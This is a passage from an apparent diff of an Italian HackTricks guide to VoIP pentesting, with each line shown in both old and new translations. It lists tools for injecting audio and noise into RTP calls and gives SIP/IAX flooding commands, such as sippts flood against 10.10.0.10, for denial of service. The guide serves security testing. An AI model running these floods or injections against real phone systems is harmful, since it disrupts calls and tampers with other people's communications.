È possibile inserire un **`.wav`** nelle conversazioni utilizzando strumenti come **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) e **`rtpmixsound`** (`sudo apt install rtpmixsound`).
|
||||
|
||||
Oppure è possibile utilizzare gli script da [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) per **scansionare le conversazioni** (**`rtpscan.pl`**), inviare un file `.wav` a una conversazione (**`rtpsend.pl`**) e **inserire rumore** in una conversazione (**`rtpflood.pl`**).
|
||||
Oppure potresti utilizzare gli script da [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) per **scansionare le conversazioni** (**`rtpscan.pl`**), inviare un `.wav` a una conversazione (**`rtpsend.pl`**) e **inserire rumore** in una conversazione (**`rtpflood.pl`**).
|
||||
|
||||
### DoS
|
||||
|
||||
Ci sono diversi modi per cercare di ottenere un attacco DoS sui server VoIP.
|
||||
Ci sono diversi modi per provare a ottenere un DoS nei server VoIP.
|
||||
|
||||
* **`sipflood.py`** da [**sippts**](https://github.com/Pepelux/sippts)**: **_**SipFlood**_ invia messaggi illimitati al target
|
||||
* `python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v`
|
||||
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS sul protocollo IAX utilizzato da Asterisk
|
||||
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Uno strumento per eseguire flooding di messaggi SIP/SDP INVITE tramite UDP/IP.
|
||||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Invia diversi pacchetti RTP ben formati. È necessario conoscere le porte RTP in uso (fare uno sniffing prima).
|
||||
* [**SIPp**](https://github.com/SIPp/sipp): Consente di analizzare e generare traffico SIP, quindi può essere utilizzato anche per DoS.
|
||||
* **`SIPPTS flood`** da [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood invia messaggi illimitati al target.
|
||||
* `sippts flood -i 10.10.0.10 -m invite -v`
|
||||
* **`SIPPTS ping`** da [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping effettua un ping SIP per vedere il tempo di risposta del server.
|
||||
* `sippts ping -i 10.10.0.10`
|
||||
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS al protocollo IAX utilizzato da Asterisk
|
||||
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Uno strumento per eseguire flooding di messaggi SIP/SDP INVITE su UDP/IP.
|
||||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Invia diversi pacchetti RTP ben formati. È necessario conoscere le porte RTP che vengono utilizzate (fare uno sniff prima).
|
||||
* [**SIPp**](https://github.com/SIPp/sipp): Permette di analizzare e generare traffico SIP, quindi può essere utilizzato anche per DoS.
|
||||
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Swiss army knife SIP. Può anche essere utilizzato per eseguire attacchi SIP.
|
||||
* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
|
||||
* **`sipsend.py`** da [**sippts**](https://github.com/Pepelux/sippts)**:** SIPSend ci consente di inviare un **messaggio SIP personalizzato** e analizzare la risposta.
|
||||
* **`wssend.py`** da [**sippts**](https://github.com/Pepelux/sippts)**:** WsSend ci consente di inviare un messaggio SIP personalizzato tramite WebSockets e analizzare la risposta.
|
||||
|
||||
### Vulnerabilità del sistema operativo
|
||||
|
||||
Il modo più semplice per installare un software come Asterisk è scaricare una **distribuzione del sistema operativo** che lo abbia già installato, come ad esempio: **FreePBX, Elastix, Trixbox**... Il problema di queste distribuzioni è che una volta che sono in funzione, gli amministratori di sistema potrebbero **non aggiornarle più** e con il tempo verranno scoperte vulnerabilità.
|
||||
Il modo più semplice per installare un software come Asterisk è scaricare una **distribuzione OS** che lo abbia già installato, come: **FreePBX, Elastix, Trixbox**... Il problema con questi è che una volta che funzionano gli amministratori di sistema potrebbero **non aggiornarli di nuovo** e con il tempo verranno scoperte **vulnerabilità**.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
* [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki)
|
||||
* [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious)
|
||||
* [http://blog.pepelux.org/](http://blog.pepelux.org/)
|
||||
* [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
|
||||
* [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4)
|
||||
|
@ -508,14 +632,14 @@ Il modo più semplice per installare un software come Asterisk è scaricare una
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** repository di [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|